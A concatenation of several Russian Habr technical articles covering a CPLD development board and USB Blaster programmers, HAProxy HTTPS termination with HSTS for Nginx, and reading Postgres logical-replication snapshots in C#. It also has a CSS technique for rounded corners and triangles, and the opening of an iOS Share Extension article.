; |D_FF:\G_1:6:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:6:D_Flip_Flop ; work ;
; |D_FF:\G_1:7:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:7:D_Flip_Flop ; work ;
; |D_FF:\G_1:8:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:8:D_Flip_Flop ; work ;
; |D_FF:\G_1:9:D_Flip_Flop| ; 1 ; 0 ; |UP1TEST|COUNTER_BIN_N:div|D_FF:\G_1:9:D_Flip_Flop ; work ;
; |lpm_counter:count_rtl_0| ; 8 ; 0 ; |UP1TEST|lpm_counter:count_rtl_0 ; work ;
; |seg7:disp_l| ; 7 ; 0 ; |UP1TEST|seg7:disp_l ; work ;
; |seg7:disp_r| ; 7 ; 0 ; |UP1TEST|seg7:disp_r ; work ;
+----------------------------------+------------+------+-----------------------------------------------------+--------------+
```
Прошивка
========
Прошивка CPLD MAX7128S не вызывает никаких проблем, замена штатного [Altera ByteBlasterMV](https://www.altera.com/en_US/pdfs/literature/ug/ug_bbmv.pdf) на [Altera USB Blaster](https://www.altera.com/content/dam/altera-www/global/en_US/pdfs/literature/ug/ug_usb_blstr.pdf) проходит совершенно гладко, как с точки зрения Quartus II, так и с точки зрения платы Altera UP1. Разъем JTAG имеет точно такую же цоколевку, а пин VCC указывает напряжение работы JTAG порта. Собственно, поэтому ByteBlasterMV носил приставку Multi Volt. Возможность работы с разными напряжениями USB Blaster унаследовал от ByteBlasterMV.
О программаторах Altera Byte Blaster и их клонах писали уже много и подробно.
Первые два — почти стандартные Altera USB Blaster, а Terasic (или его клон, кто ж разберет) вообще похоже лицензионный. Как известно «классический» USB Blaster собран по схеме «FT245BM + CPLD + буфер» как описано в [мануале](https://www.altera.com/content/dam/altera-www/global/en_US/pdfs/literature/ug/ug_usb_blstr.pdf).
Последний же — это настоящее китайское чудо (точнее — японо-китайское). Это *эмулятор* FT245BM + CPLD на дешовеньком PIC18F14K50. Тем не менее Quartus II признает эту «подделку» за родной USB Blaster и функция прошивки через JTAG работает. Удивительно, что даже фирменная FTDI FT Prog находит как бы чип FT245BM и что-то с него считывает.
[Вот здесь](http://we.easyelectronics.ru/plis/usb-blaster.html) описание внутренностей этого китайского клона-эмулятора.
**Внутренности**
Заключение
==========
Итак, мы побывали в шкуре студента ~2007 года, при этом воспользовались VHDL и USB Blaster для прошивки CPLD. Плата довольно полезная для вхождения в курс CPLD, составляет достойную конкурецию платкам CPLD и FPGA от [LC Tech](http://www.lctech-inc.com), которыми забит aliexpress и ее вполне стоит купить, если увидите не дорого. Литературы и курсов по ней огромное количество. Плата работает со стандартными TTL 5 вольт и отлично сопрягается со старыми устройствами. Не забудьте только закупить запас MAX7128S — ресурс у них не вечный.
В следующей части мы попробуем заменить MAX7128S на Atmel ATF1508AS которая якобы совместимая и посмотрим, что получится. | https://habr.com/ru/post/277947/ | null | ru | null |
# Как перевести сайт целиком на постоянный HTTPS для всех
#### Шифруем всё подряд
Эра незашифрованного веба проходит, и это хорошо. В этой инструкции мы предполагаем, что на вашем сервере работает веб-сервер Nginx. И теперь мы сделаем так, чтобы все посетители сайта пользовались исключительно протоколом HTTPS. Кроме этого мы включим HSTS – это «HTTP Strict Transport Security», когда сайт не только поддерживает HTTPS, но и настаивает на его использовании.
Для этого есть множество способов, но я опишу метод под названием «HTTPS termination». Иначе говоря, мы поставим перед веб-сервером обратный прокси, который и будет обеспечивать HTTPS. Это получается проще и гибче, чем настраивать HTTPS только при помощи возможностей веб-сервера. Возможно, вам покажется контринтуитивным, что добавление ещё одного приложения в стек упростит вашу жизнь – но это действительно так.
Уточним, что данный рецепт подходит для серверов на базе Linux, на которых установлен Nginx.
То, что будет работать прежде всех остальных приложений в стопке – это HAProxy. Это в первую очередь приложение для балансировки – он умеет распределять приходящие запросы между разными физическими серверами. Много высоконагруженных сайтов используют его в этом качестве (тот же reddit), но в последней версии у него появилась возможность выполнять SSL termination. Он умеет устанавливать HTTPS-соединения от имени сервера.
Поэтому мы поставим HAProxy, скормим ему наши сертификаты SSL/TLS, поручим перенапрявлять все HTTP запросы на HTTPS, и покажем ему уже сам веб-сервер в качестве бэкенда.
#### Установка HAProxy
Порты 80 и 443 будут смотреть в интернет и получать HTTP и HTTPS трафик. Все HTTP запросы получат редирект 301 на тот же URL, но по HTTPS, и затем перенаправятся на бэкендовый веб-сервер (nginx) по чистому HTTP.
HAProxy package, включённый в поставку Ubuntu 14.04 LTS довольно старый, поэтому добавим репозиторий:
```
sudo add-apt-repository ppa:vbernat/haproxy-1.5
```
Затем обновим исходники и установим приложение:
```
sudo aptitude update
sudo aptitude install haproxy
```
Основные настройки лежат в /etc/haproxy/haproxy.cfg. Вот мои настройки:
```
global
log /dev/log local0
log /dev/log local1 notice
chroot /var/lib/haproxy
stats socket /run/haproxy/admin.sock mode 660 level admin
stats timeout 30s
user haproxy
group haproxy
daemon
# Default SSL material locations
ca-base /etc/ssl/certs
crt-base /etc/ssl/private
ssl-default-bind-ciphers EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EECDH+aRSA+SHA256:EECDH+aRSA+RC4:EECDH:EDH+aRSA:!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4
ssl-default-bind-options no-sslv3 no-tlsv10
tune.ssl.default-dh-param 4096
defaults
log global
mode http
option httplog
option dontlognull
option forwardfor
option http-server-close
timeout connect 5000
timeout client 50000
timeout server 50000
errorfile 400 /etc/haproxy/errors/400.http
errorfile 403 /etc/haproxy/errors/403.http
errorfile 408 /etc/haproxy/errors/408.http
errorfile 500 /etc/haproxy/errors/500.http
errorfile 502 /etc/haproxy/errors/502.http
errorfile 503 /etc/haproxy/errors/503.http
errorfile 504 /etc/haproxy/errors/504.http
frontend yourservername
bind *:80
bind *:443 ssl crt /etc/ssl/private/cert1.pem crt /etc/ssl/private/cert2.pem
acl secure dst_port eq 443
redirect scheme https if !{ ssl_fc }
rspadd Strict-Transport-Security:\ max-age=31536000;\ includeSubDomains;\ preload
rsprep ^Set-Cookie:\ (.*) Set-Cookie:\ \1;\ Secure if secure
default_backend webservername
backend webservername
http-request set-header X-Forwarded-Port %[dst_port]
http-request add-header X-Forwarded-Proto https if { ssl_fc }
server webservername 192.168.1.50:80
listen stats *:9999
stats enable
stats uri /
```
Кстати, если вам понадобится подсветка синтаксиса конфига HAProxy для vim, её [можно взять здесь](http://www.vim.org/scripts/script.php?script_id=1845). Разберём настройки подробнее.
#### Global
Оставляем первый кусок нетронутым. Это настройки логов, директория и права доступа.
Следующие части нужно поправить – там указано, где находится CA root и лежат сертификаты SSL/TLS. Возможно, нужно будет поменять ca-base и crt-base.
Строка ssl-default-bind-ciphers определяет, какие коды SSL/TLS будут применяться HAProxy при соединении с клиентом. Я использую рекомендованный список от Qualys/SSL Labs. Я также отредактировал строчку ssl-default-bind-options и запретил SSLv3 и TLS1.0, т.к. они дырявые. Последняя строка, tune.ssl.default-dh-param, сообщает программе о необходимости использовать не более 4096 бит в параметре Diffie-Hellman при обмене ключами DHE.
#### Defaults
Добавляем пару вещей — forwardfor и http-server-close. Поскольку мы используем приложение в качестве прокси, оно должно сообщать серверу IP-адреса, с которых идут запросы. Иначе это будет выглядеть, будто весь трафик идёт с HAProxy. Поэтому forwardfor сообщает, что программа работает как обратный прокси, и необходимо добавлять заголовок X-Forwarded For для сервера.
Настройка http-server-close нужна для быстродействия — HAProxy будет решать, закрывать ли соединение или использовать его повторно, при этом поддерживая более продвинутые вещи вроде WebSockets.
#### Certificates
Первая часть секции сообщает, какой трафик HAproxy должна обрабатывать и куда его отправлять.
Мы привязываем HAproxy к портам 80 и 443, она слушает HTTP на порту 80 и HTTPS на порту 443. Для HTTP мы скармливаем ей два разных сертификата. HAproxy использует Server Name Identification (SNI) чтобы привести хост входящего запроса в соответствие с нужным SSL/TLS сертификатом. У меня на сервере есть три сайта, они используют разные групповые сертификаты (\*.bigdinosaur.org, \*.chroniclesofgeorge.com и \*.bigsaur.us) и HAProxy правильно выбирает нужный из них.
Единственное, что надо сделать – объединить файлы сертификата и приватного ключа в один .pem:
```
cat your-decrypted-ssl-key.key your-ssl-cert.crt > your-ssl-cert.pem
```
Убедитесь, что владельцем файла будет root:root, и права у него должны быть только на чтение:
```
sudo chown root:root your-ssl-cert.pem
chmod 400 your-ssl-cert.pem
```
#### От HTTP к HTTPS, и HSTS в качестве бонуса
Теперь определим ACL, список контроля доступа. В HAProxy это список вещей, удовлетворяющих определённому критерию:
```
acl secure dst_port eq 443
```
Мы создали ACL по имени secure, который совпадает со всем, что идёт на TCP порт 443. Он нам скоро понадобится.
Следующая строка – та самая, где происходит перенаправление трафика с HTTP на HTTPS.
```
redirect scheme https if !{ ssl_fc }
```
Это значит, что если входящий запрос не HTTPS, то надо отправить перенаправление 301 к тому же ресурсу, но по схеме HTTPS.
Это именно то HTTP Strict Transport Security – всем браузерам предписывается использование HTTPS:
```
rspadd Strict-Transport-Security:\ max-age=31536000;\ includeSubDomains;\ preload
```
Настройка добавляет нужную строку в заголовки. Браузер, распознающий этот заголовок, понимает, что сайт предпочитает работать по HTTPS, и это указание действительно в течение года (31,536,000 seconds). Директива preload сообщает Google-боту, что ваш сайт можно добавить в их список сайтов, поддерживающих HSTS.
HSTS – штука правильная. Шифрование должно быть всегда, и администраторам надо стремиться распространять его везде.
Кстати – необходимо учесть, чтобы все куки также включали атрибут secure, поскольку с точки зрения вашего веб-сервера всё происходит по обычному протоколу HTTP. Для этого используем директиву rsprep:
1
```
rsprep ^Set-Cookie:\ (.*) Set-Cookie:\ \1;\ Secure if secure
```
Обратите внимание на «if secure». Это значит, что меняются только куки, идущие по HTTPS (secure – это переменная, которую мы несколько линий назад определили). Вообще, всё должно работать через HTTPS, поэтому это в принципе необязательно – но можно и подстраховаться.
Последняя строка определяет, куда отправлять трафик. Это default\_backend. Тут можно определять несколько серверов для распределения нагрузки и т.п. Но, поскольку у нас есть один бэкенд-сервер, то всё довольно просто.
#### back end
Поскольку у нас один бэкенд-сервер, эта секция коротка. HAProxy необходимо лишь добавить пару заголовков, чтобы сервер понял, что реальное общение происходит через HTTPS, даже если он видит только лишь HTTP:
```
http-request set-header X-Forwarded-Port %[dst_port]
http-request add-header X-Forwarded-Proto https if { ssl_fc }
```
Первая директива устанавливает заголовок, объясняющий, что клиент изначально пришёл на порт 443. Вторая усиливает первую, устанавливая X-Forwarded-Proto в HTTPS, если запрос шёл через HTTPS, чтобы веб-сервер понимал, что происходит и не создавал неправильных ответов.
Затем мы объясняем HAProxy, куда слать запросы – имя, IP и порт веб-сервера. У меня веб-сервер работал на отдельной машине, поэтому я пишу сюда другой IP и 80-й порт. Если у вас всё работает на одном компьютере, то пишите localhost и порт.
#### Статистика, если нужно
Последняя секция диктует HAProxy выдавать статусную страницу по заданному порту. Тут можно добавить basic auth, добавив stats auth username:password, или определить отличающийся URL.
Если вы используете директиву HSTS «includesubdomains», у вас может не получиться запросить статусную страницу по имени, поскольку веб-браузер попытается загрузить её HTTPS-версию, а HAProxy отдаёт только HTTP-версию. Это можно обойти, запрашивая страницу по IP вместе с портом (http://192.168.x.x:9999).
#### Подчищаем
Сохраните настройки, но пока не перезапускайте сервис HAProxy. Если у вас всё работает на одной машине, и nginx также слушает события на портах 80 и 443, нужно кое-что подправить.
Поскольку nginx больше не будет отдавать HTTPS-запросы, нужно убрать все упоминания HTTPS из всех файлов виртуальных хостов.
Вот и всё. Нужно только добавить в главный файл nginx.conf две строчки, чтобы убедиться, что nginx будет заменять ip-адреса согласно заголовку X-Forwarded-For, если запросы приходят от 127.0.0.1:
```
set_real_ip_from 127.0.0.1;
real_ip_header X-Forwarded-For;
```
Это будет работать, если вы скомпилили nginx с опцией ngx\_http\_realip\_module.
Перезапустите HAProxy (service haproxy restart) и она начнёт слушать запросы.
#### Проверка работы
Сделайте запрос к сайту через http. Если URL меняется на https и вы видите сайт – всё работает. Можно убедиться, что заголовок HSTS отправляется корректно:
```
curl -s -D- https://yoursite.whatever/ | grep Strict
``` | https://habr.com/ru/post/257609/ | null | ru | null |
# Как получить все сообщения через логическую репликацию Postgres
В одной из предыдущих статей я описал Push-based Outbox Pattern ([шаблон исходящих сообщений на основе push с логической репликацией Postgres](https://event-driven.io/en/push_based_outbox_pattern_with_postgres_logical_replication/)). Идея заключается в том, чтобы сохранить исходящее сообщение (например, событие) в той же транзакции базы данных вместе с изменением состояния. Благодаря этому мы гарантируем, что сообщение не будет потеряно, а наш бизнес-процесс будет продолжаться и станет согласованным.
**Postgres может помочь и проинформировать нас, когда добавляется новое сообщение.** Мы можем использовать встроенный механизм журнала упреждающей записи ([WAL](https://event-driven.io/en/relational_databases_are_event_stores/), Write-Ahead Log[)](https://event-driven.io/en/relational_databases_are_event_stores/) вместе с логической репликацией.
**Журнал упреждающей записи — центральный элемент Postgres.**Каждая вставка, обновление и удаление регистрируются в журнале в порядке появления, а затем применяются к таблицам при фиксации транзакции. Логическая репликация выводит традиционный подход на новый уровень. Вместо отправки необработанного двоичного потока резервных копий файлов базы данных мы отправляем поток изменений, которые были записаны в журнале упреждающей записи.
**Журнал упреждающей записи** **— это эфемерная структура.**Если мы не скажем базе данных хранить его дольше, записи могут быть удалены после успешной фиксации транзакции.
Это также сделано для оптимизации дискового пространства. Когда мы создаем публикацию логической репликации, мы указываем Postgres сохранять записи WAL, так как мы хотели бы получать их через уведомления.
```
async Task CreatePublication(
EventsSubscriptionOptions options,
CancellationToken ct
)
{
var (connectionString, _, publicationName, tableName) = options;
await using var dataSource = NpgsqlDataSource.Create(connectionString);
await dataSource.Execute(
$"CREATE PUBLICATION {publicationName} FOR TABLE {tableName};", ct
);
}
```
Но если мы создадим подписку:
```
async Task CreateSubscription(
LogicalReplicationConnection connection,
EventsSubscriptionOptions options,
CancellationToken ct
)
{
var result = await connection.CreatePgOutputReplicationSlot(
options.SlotName,
slotSnapshotInitMode: LogicalSlotSnapshotInitMode.Export,
cancellationToken: ct
);
return new Created(options.TableName, result.SnapshotName!);
}
```
И подпишемся на уведомления:
```
public async IAsyncEnumerable Subscribe(
EventsSubscriptionOptions options,
[EnumeratorCancellation] CancellationToken ct
)
{
var (connectionString, slotName, publicationName, \_) = options;
await using var conn = new LogicalReplicationConnection(connectionString);
await conn.Open(ct);
var slot = new PgOutputReplicationSlot(slotName);
await foreach (var message in conn.StartReplication(slot,
new PgOutputReplicationOptions(publicationName, 1), ct)
)
{
if (message is InsertMessage insertMessage)
{
yield return await InsertMessageHandler.Handle(insertMessage, ct);
}
conn.SetReplicationStatus(message.WalEnd);
await conn.SendStatusUpdate(ct);
}
}
```
**Мы можем понять, что получили новые добавленные записи только после создания публикации.**
Это потому, что Postgres не знал раньше, что мы хотели бы сохранить записи WAL, и обрезал их.
Это не является большой проблемой, если мы начинаем с нового развертывания или лучшего нового проекта. Однако, если бы у нас уже есть [реализация исходящих сообщений на основе извлечения](https://event-driven.io/en/outbox_inbox_patterns_and_delivery_guarantees_explained/), мы можем захотеть получить *старые* сообщения. Как это сделать?
Давайте вернемся к настройке подписки:
```
var result = await connection.CreatePgOutputReplicationSlot(options.SlotName,
slotSnapshotInitMode: LogicalSlotSnapshotInitMode.Export, cancellationToken: ct);
return new Created(options.TableName, result.SnapshotName!);
```
Он вызывает внутреннюю функцию [CREATE\_REPLICATION\_SLOT](https://www.postgresql.org/docs/15/protocol-replication.html#PROTOCOL-REPLICATION-CREATE-REPLICATION-SLOT):
```
CREATE_REPLICATION_SLOT
events_slot
LOGICAL pgoutput(SNAPSHOT 'export')
```
Мы передаем немного загадочный параметр *SNAPSHOT 'export'*. Прежде чем я объясню его, **давайте на мгновение остановимся и кратко обсудим, как работает транзакция Postgres.**
Транзакция может содержать несколько операторов. С периодичностью, зависящей от уровня транзакции, Postgres создает моментальные снимки (snapshot). Snapshot — это замороженное состояние базы данных в определенный момент времени:
* для *READ COMMITED* моментальный снимок создается после каждого зафиксированного оператора,
* *REPEATABLE READ* и *SERLIALIZABLE* создают моментальный снимок в начале и поддерживают его согласованность на протяжении всей транзакции, даже если другие сеансы фиксируют транзакции.
**Snapshot обычно хранится до тех пор, пока транзакция существует, а затем удаляется.**Тем не менее, мы используем Postgres здесь. В этом должно быть что-то большее, верно?
Если вы регулярно читаете мой блог, [вы уже знаете функцию *pg\_current\_snapshot*](https://event-driven.io/en/relational_databases_are_event_stores/). Она возвращает информацию о текущем моментальном снимке. У Postgres есть и другие подобные функции, например, [pg\_export\_snapshot](https://pgpedia.info/p/pg_export_snapshot.html) позволяет хранить моментальный снимок дольше, чем время жизни транзакции.
Зачем нам это нужно? Например, для создания резервной копии базы данных, [pg\_dump](https://www.postgresql.org/docs/current/app-pgdump.html) использует ее для обеспечения отказоустойчивости. Мы же не хотим, чтобы данные резервной копии изменялись во время процесса, верно?
**Функция экспорта снимков также используется при создании слота репликации.**Если мы укажем параметр *NAPSHOT* *'export'* при создании слота репликации, он автоматически создаст снимок и вернет его идентификатор.
Мы можем использовать этот снимок для получения существующих данных на момент создания слота репликации. Все новые будут отправлены через логическую репликацию.
Чтобы прочитать существующие записи, нам нужно создать транзакцию как минимум с уровнем транзакции *REPEATABLE READ* и установить моментальный снимок транзакции на идентификатор, который мы получили на предыдущем шаге. Это заставит наши операции чтения получать доступ только к данным в момент времени, указанный в моментальном снимке.
На языке C# код может выглядеть следующим образом:
```
await using var transaction = await connection.BeginTransactionAsync(
IsolationLevel.RepeatableRead, ct
);
await using var command = new NpgsqlCommand(
$"SET TRANSACTION SNAPSHOT '{snapshotName}';", connection, transaction
);
await command.ExecuteScalarAsync(ct);
```
Затем мы можем опросить записи с помощью обычного *оператора SELECT* в таблице outbox. Метод будет выглядеть следующим образом.
```
public static async IAsyncEnumerable QueryTransactionSnapshot(
this NpgsqlConnection connection,
string snapshotName,
string tableName,
Func> map,
[EnumeratorCancellation] CancellationToken ct)
{
await using var transaction = await connection.BeginTransactionAsync(
IsolationLevel.RepeatableRead, ct
);
await using var command = new NpgsqlCommand(
$"SET TRANSACTION SNAPSHOT '{snapshotName}';", connection, transaction
);
await command.ExecuteScalarAsync(ct);
await using var cmd = new NpgsqlCommand(
$"SELECT \* FROM {tableName}", connection, transaction
);
await using var reader = await cmd.ExecuteReaderAsync(ct);
while (await reader.ReadAsync(ct))
{
yield return await map(reader, ct);
}
}
```
Окончательный код для нашей подписки, который может выполнить полную настройку и читать данные моментального снимка, будет выглядеть следующим образом:
```
public interface IEventsSubscription
{
IAsyncEnumerable Subscribe(
EventsSubscriptionOptions options, CancellationToken ct
);
}
public class EventsSubscription: IEventsSubscription
{
private async Task CreateSubscription(
LogicalReplicationConnection connection,
EventsSubscriptionOptions options,
CancellationToken ct
)
{
if (!await PublicationExists(options, ct))
await CreatePublication(options, ct);
if (await ReplicationSlotExists(options, ct))
return new AlreadyExists();
var result = await connection.CreatePgOutputReplicationSlot(options.SlotName,
slotSnapshotInitMode: LogicalSlotSnapshotInitMode.Export, cancellationToken: ct);
return new Created(options.TableName, result.SnapshotName!);
}
public async IAsyncEnumerable Subscribe(
EventsSubscriptionOptions options,
[EnumeratorCancellation] CancellationToken ct
)
{
var (connectionString, slotName, publicationName, \_) = options;
await using var conn = new LogicalReplicationConnection(connectionString);
await conn.Open(ct);
var result = await CreateSubscription(conn, options, ct);
if (result is Created created)
{
await foreach (var @event in ReadExistingEventsFromSnapshot(
created.SnapshotName, options, ct)
)
{
yield return @event;
}
}
var slot = new PgOutputReplicationSlot(slotName);
await foreach (var message in conn.StartReplication(
slot, new PgOutputReplicationOptions(publicationName, 1), ct)
)
{
if (message is InsertMessage insertMessage)
{
yield return await InsertMessageHandler.Handle(insertMessage, ct);
}
conn.SetReplicationStatus(message.WalEnd);
await conn.SendStatusUpdate(ct);
}
}
private async Task ReplicationSlotExists(
EventsSubscriptionOptions options,
CancellationToken ct
)
{
var (connectionString, slotName, \_, \_) = options;
await using var dataSource = NpgsqlDataSource.Create(connectionString);
return await dataSource.Exists(
"pg\_replication\_slots", "slot\_name = $1", new object[] { slotName }, ct
);
}
private async Task CreatePublication(
EventsSubscriptionOptions options,
CancellationToken ct
)
{
var (connectionString, \_, publicationName, tableName) = options;
await using var dataSource = NpgsqlDataSource.Create(connectionString);
await dataSource.Execute(
$"CREATE PUBLICATION {publicationName} FOR TABLE {tableName};", ct
);
}
private async Task PublicationExists(
EventsSubscriptionOptions options,
CancellationToken ct
)
{
var (connectionString, slotName, \_, \_) = options;
await using var dataSource = NpgsqlDataSource.Create(connectionString);
return await dataSource.Exists(
"pg\_publication", "pubname = $1", new object[] { slotName }, ct
);
}
private async IAsyncEnumerable ReadExistingEventsFromSnapshot(
string snapshotName,
EventsSubscriptionOptions options,
[EnumeratorCancellation] CancellationToken ct
)
{
await using var connection = new NpgsqlConnection(options.ConnectionString);
await connection.OpenAsync(ct);
await foreach (var @event in connection.GetEventsFromSnapshot(
snapshotName, options.TableName, ct)
)
{
yield return @event;
}
}
internal abstract record CreateReplicationSlotResult
{
public record AlreadyExists: CreateReplicationSlotResult;
public record Created(string TableName, string SnapshotName): CreateReplicationSlotResult;
}
}
```
Это все еще наивная реализация, поскольку она не обладает полной отказоустойчивостью при чтении моментальных снимков данных.
Логическая репликация сама по обеспечит создание контрольных точек, нам не нужно об этом заботиться, а вот что касается моментальных снимков, то другая история. Но это история для другой специальной статьи!
Смотрите также более подробную техническую информацию о реализации в [Pull Request](https://github.com/oskardudycz/PostgresOutboxPatternWithCDC.NET/pull/2) .
Ps Большое спасибо [Брару Пинингу](https://github.com/Brar) за то, что он изначально реализовал эту часть в [Npgsql](https://www.npgsql.org/) и терпеливыми объяснениями указал мне правильное направление. | https://habr.com/ru/post/702426/ | null | ru | null |
# Верстка скругленных границ и острых углов
Сложность элементов интерфейса увеличивается с каждым новым макетом, что доставляет немало хлопот верстальщикам. Развивающиеся технологии позволяют создавать в WEBе сложные приложения (Google не даст мне соврать), поэтому дизайнеры себя не сдерживают и рисуют всё более навороченные вещи. Как правило, это приводит к большому количеству графики на страницах.
В этой статье приводится пара полезных на взгляд автора рецептов. Возможны вы уже с ними знакомы, а возможно вынесите для себя что-то новое, решать вам.
1. Скругленные границы
----------------------
Сразу поясню о чем речь:
Необходимо сверстать этот блок так, чтобы он тянулся по ширине и высоте. Как правило, первое что приходит в голову — сверстать таблицу 3x3. В угловые ячейки положить 4 разных изображения с уголками, в центр поместить контент, а остальным ячейкам повесить соот-ие бордеры. Способ кроссбраузерный и довольно простой. Но во-первых, верстать такие блоки таблицами не по фэншую, а во-вторых можно отказаться от четырех мелких изображений.
Итак, соберем четыре угла в одно изображение. В моем примере получился такой результат (32x26 px):
Теперь нам осталось спозиционировать это изображение в фоне четырьмя разными способами в блоках
размером 16x13px, стоящими в углах блока. В результате у автора [получилось вот так](http://2007.fastcoder.ru/demo/roundAngles.html):
CSS:
`.roundborder {
border-top:1px solid #DBDBDB;
border-bottom:1px solid #DBDBDB;
}
.roundborder .content {
border-left:1px solid #DBDBDB;
border-right:1px solid #DBDBDB;
text-align:center;
color:#7A7A7A;
padding:10px 15px;
}
.roundborder .t, .roundborder .b {
position:relative;
height:12px;
}
.roundborder .t div, .roundborder .b div {
position:absolute;
width:16px; height:13px;
padding:0; margin:0;
}
.roundborder .t .l {
top:-1px; left:0;
background:#FFF no-repeat url(https://habrastorage.org/getpro/habr/post_images/10b/dea/8b5/10bdea8b5274eecd5da42b02b9d2cc9f.gif) top left;
}
.roundborder .t .r {
top:-1px; right:0;
background:#FFF no-repeat url(https://habrastorage.org/getpro/habr/post_images/10b/dea/8b5/10bdea8b5274eecd5da42b02b9d2cc9f.gif) top right;
}
.roundborder .b .l {
background:#FFF no-repeat url(https://habrastorage.org/getpro/habr/post_images/10b/dea/8b5/10bdea8b5274eecd5da42b02b9d2cc9f.gif) bottom left;
bottom:-1px; left:0;
}
.roundborder .b .r {
background:#FFF no-repeat url(https://habrastorage.org/getpro/habr/post_images/10b/dea/8b5/10bdea8b5274eecd5da42b02b9d2cc9f.gif) bottom right;
bottom:-1px; right:0;
}`
HTML:
Content
Изначально углы были сверстаны через 4 ДИВа, разбросанных по углам, и всё бы хорошо, если бы не одно НО — IE6. В нем этот номер не пролез, пришлось всё переверстывать таким вот образом. Итак, задача решена: мы избавились от таблиц и уменьшили число HTTP-соединений на три, за счет сбора углов в один овал.
2. Углы меньше 90°
------------------
Вы видите макет с вот таким блоком:
Первое что приходит в голову: «Чооорт, придется вырезать этот треугольник и как-то прицеплять к блоку». Оказывается не нужно. Прием был подсмотрен в верстке [hh.ru](http://hh.ru), за что верстальщику хэдхантера громадный респект!
Оказывается, границы блока делят совместные углы в равных долях, что позволит создать любые острые углы. Иллюстрация:
Это всего лишь одна строчка HTML/CSS-кода:
[Здесь](http://2007.fastcoder.ru/demo/roundAngles.html) вы найдете более причудливое применение этого приёма. Скриншот для тех, кому лень заглядывать в демку:
За примером использования далеко ходить не надо. Всем знакома морда Яндекса:
Вместо png-шки, которую они используют для создания угла, можно создать такой угол из единственного бордера:
И кстати, не забываем, что из конечного числа треугольников можно собрать произвольный многоугольник.
Заключение
----------
Если кто-то желает поделится своими способами решения аналогичных задач — прошу в комменты. Удачи вам в борьбе с дизайнерским произволом!
Кросспост [Скругленные границы и острые углы](http://2007.fastcoder.ru/articles/?aid=405) с [2007.fastcoder.ru](http://2007.fastcoder.ru/).
Дополнения
----------
1) Камрад [maxshopen](https://habrahabr.ru/users/maxshopen/) верно подметил, что бордер бывает и прозрачным, что позволяет нам верстать не оглядываясь на фон страницы. А [dmitrybaranovskiy](https://habrahabr.ru/users/dmitrybaranovskiy/) дополнил, что проблема использования прозрачного бордера в ИЕ6 решается IE-фильтром Chroma.
2) Камрады [vasilioruzanni](https://habrahabr.ru/users/vasilioruzanni/) и [dmitrybaranovskiy](https://habrahabr.ru/users/dmitrybaranovskiy/) подсказывают, что идея с острыми углами не нова и встречается здесь:
[www.uselesspickles.com/triangles/demo.html](http://www.uselesspickles.com/triangles/demo.html)
[tantek.com/CSS/Examples/polygons.html](http://tantek.com/CSS/Examples/polygons.html) | https://habr.com/ru/post/46033/ | null | ru | null |
# Делись и больше не дерись: ограничения и сложности в разработке Share Extension
Привет! На связи iOS-разработчик KODE — Семён Медведев. Наша команда разрабатывает крутые цифровые продукты для государства и бизнеса, в том числе мобильные приложения.
На одном из последних проектов для реализации бизнес-требований нужно было сделать так, чтобы пользователь мог делиться любыми файлами с нашим приложением. А для этого нужно было обеспечить доступ к приложению из любого места в операционной системе пользователя.
В процессе я столкнулся со множеством нюансов, выяснение которых заняло у меня некоторое время. **Я решил обобщить свой опыт в одном материале и рассказать об ограничениях и сложностях, с которыми могут столкнуться начинающие iOS-еры при разработке Share Extension.**
Немного о реализации Share Extension
------------------------------------
Если вы уже сталкивались с такой задачей, то знаете, что Apple предоставляет для этих целей интегрированную функциональность — [App Extensions](https://developer.apple.com/app-extensions/). Благодаря ей разработчик может выстраивать бесшовное взаимодействие со своим продуктом на разных устройствах пользователя. На данный момент для iOS и iPadOS доступно 30 расширений. Также есть варианты для MacOS, tvOS и WatchOS.
Расположение расширения в системном меню в зависимости от типа (Action или Share)Для того чтобы приложение попало в меню «Поделиться…», когда пользователь хочет отправить файлы или фотографии, нужно использовать Share Extension. А если в дизайне есть кнопка в секции ниже, как справа на скриншоте, то понадобится [Action Extension](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/Action.html#//apple_ref/doc/uid/TP40014214-CH13-SW1). Это и пришлось мне делать при разработке одного из проектов. **Я не стал останавливаться на двух строчках кода, которые предлагает Apple, а решил разрабатывать фичу самостоятельно.**
Ограничения Share Extension
---------------------------
В интернете легко найти информацию, как работать с базовой эппловской имплементацией с использованием [SLComposeServiceViewController](https://developer.apple.com/documentation/social/slcomposeserviceviewcontroller), но у iOS App Extensions есть ряд ограничений, которые не позволили решить наши задачи. Их важно учитывать при разработке, потому что иначе есть риск появления неожиданных крашей и того, что приложение не пройдёт ревью.
### – Ограничение на объём памяти
Apple заявляет, что у App Extension лимиты по выделяемой памяти значительно меньше, чем у Share Extension. Тестирование Share Extension в рамках проекта определило, что ограничение памяти для этого типа расширений установлено на уровне 120 Мб.
Соответственно, если в дизайне проекта предусмотрено кастомизированное отображение превью файлов, необходимо обрабатывать и сжимать изображения внутри `loadItem(forTypeIdentifier:, options:, completionHandler:)`. Возвращая из этого метода минифицированные превью, удастся не выйти за пределы эппловских ограничений памяти, и расширение не скрашится.
### – Ограничение жизненного цикла App Extension
Контекстом для исполнения кода расширения становится Host App — приложение, из которого пользователь пытается запустить расширение. Система запускает код расширения и устанавливает канал связи между расширением и Host App. Благодаря наличию этой связи Share Extension может получить доступ к массиву вложений (файлов), переданных из Host App в App Extension.
> Документация про жизненный цикл — [**по ссылке**](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html).
>
>
Ограничение заключается в том, что у App Extension нет прямого доступа к коду и связи с Containing App — оригинальным приложением, частью которого и является App Extension. Когда запущен App Extension, Containing App не может быть запущен даже в фоне. Вы не сможете пользоваться кодом из основного таргета в App Extension — только импортировать отдельные фреймворки.
Подразумевается, что Host App и App Extension взаимодействуют исключительно в рамках запрос–ответ. В Share Extension же запрос уходит на старте расширения, а ответ — после его завершения или запуске Background task, после которого система убивает расширение.
